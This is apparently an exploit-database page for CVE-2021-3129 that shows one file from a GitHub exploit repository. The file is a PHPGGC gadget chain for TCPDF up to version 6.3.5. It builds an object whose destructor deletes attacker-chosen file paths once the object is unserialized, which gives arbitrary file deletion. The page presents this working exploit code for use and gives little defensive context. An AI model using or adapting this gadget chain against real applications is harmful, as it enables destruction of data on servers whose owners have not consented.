Exploit databaseDownload repository ZIP
GH-ef32bec3baf31bd381c522a7d3810271
axianke/cve-2021-3129
Sources for CVE-2021-3129
36 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files2
axianke/cve-2021-3129Revision 33f41884f1a9
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
gadgetchains/TCPDF/FD/1/chain.php
PHP · 593 bytes<?php
namespace GadgetChain\TCPDF;
class FD1 extends \PHPGGC\GadgetChain\FileDelete
{
public static $version = '<= 6.3.5';
public static $vector = '__destruct';
public static $author = 'timoles';
public static $information = '
TCPDF contains the variable "imagekeys" which expects an array of strings. Upon __destruct an "unlink()" is
called on all filepaths within the imagekeys array.
';
public function generate(array $parameters)
{
$file = $parameters['remote_path'];
return new \TCPDF(
$file
);
}
}